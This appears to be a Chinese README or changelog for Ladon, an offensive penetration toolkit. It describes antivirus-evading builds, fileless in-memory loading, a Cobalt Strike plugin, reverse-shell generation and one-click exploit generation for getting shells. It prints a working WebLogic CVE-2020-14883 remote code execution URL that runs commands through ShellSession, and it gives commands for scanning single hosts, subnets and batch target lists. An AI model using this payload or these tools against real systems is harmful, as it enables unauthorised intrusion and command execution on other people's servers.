LadonEXP可自定义变量，一键武器化

Ladon911        完整功能版，体积大，易被杀，可本地测试、研究学习复现旧漏洞Ladon            10.8版本起Ladon.exe默认在Win11或装有.NET 4.8下使用效果最佳Ladon40            Win10或装有.NET 4.0或以上系统下使用 安装有4.8建议优先LadonLadon35            Win7/2008或装有.NET 3.x系统下使用 安装有4.8的建议优先LadonLadon.ps1        Win7-Win2022或装有PowerShell系统，可远程内存加载无文件渗透NimLadon        Nim免杀Ladon，可过部分杀软，可用net2nim工具 自行转换
script目录        CS插件，一键使用，内存加载，无需将EXE上传目标，无文件渗透    LadonGUI        辅助工具，含免杀、文本处理、加密解密、反弹Shell、子域名等LadonEXP        EXP生成器，一键生成Poc、EXP，快速扩展Ladon批量GetShell能力LadonStudy        学习模式，一键渗透，对Ladon不熟的人，也可快速实战GetShellChatLadon        渗透机器人，也可当成学习模式，只要会聊天，就能让Ladon干活

[-]SmbGhost      仅911版保留  SMB漏洞 永恒之黑[-]VsFtpDoor    仅911版保留 漏洞太老 概率低[u]Ladon Study    新增小图标 界面直观 便于区分 一眼找到常用功能[u]LadonGUI      修复RevShell生成Ladon PowerShell反弹命令错误的Bug[u]JoomlaPwd    域名解析IP TAB分隔 IP 用户 密码 方便MysqlScan检测[u]WhatCMSWebLogic 14.1.1.0.0WebLogic 12.2.1.4.0WebLogic 12.2.1.3.0WebLogic 12.2WebLogic 10.3.6.0WebLogic 10.3WebLogicWebLogic[maybe]
Ladon 10.9 20230302[u]LadonExp     编译EXE支持执行CMD  Payload变量$cmd$ 变量$b64cmd$[u]web         CS版不含该模块  识别JAVA  JNDI_LDAP  JNDI_RMI请求[u]WebLogicPoc    CVE-2020-14883高危漏洞检测可识别出Windows或Linux[-]PortTran      CS版移除 端口转发工具[u]Ladon911      本地测试用的全功能版(即保留旧漏洞和一些过时功能)[-]Help        仅911版保留    功能很多 建议看Wiki或Ladon Study[-]SMBGhost      仅CS和911版保留 Win10默认自动更新，实战遇到概率低[-]vsFTPdPoc    仅CS和911版保留 2011漏洞过旧，实战遇到概率低[-]CVE-2021-36934  仅CS和911版保留 Win10默认自动更新，实战可用概率低[-]PhpStudyPoc    仅CS和911版保留

http://IP:7001/console/images/%252E%252E%252Fconsole.portal?_nfpb=false&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime().exec('calc.exe');");

Ladon 192.168.1.8 WeblogicPoc  扫IP默认7001 7002端口Ladon 192.168.1.8/24 WeblogicPoc 扫C段默认7001 7002端口Ladon 192.168.1.8:8088 WeblogicPoc 指定IP端口Ladon http://192.168.1.8:7003 WeblogicPoc 指定URLLadon ip.txt WeblogicPoc   批量IPLadon ip24.txt WeblogicPoc 批量C段Ladon url.txt WeblogicPoc  批量URL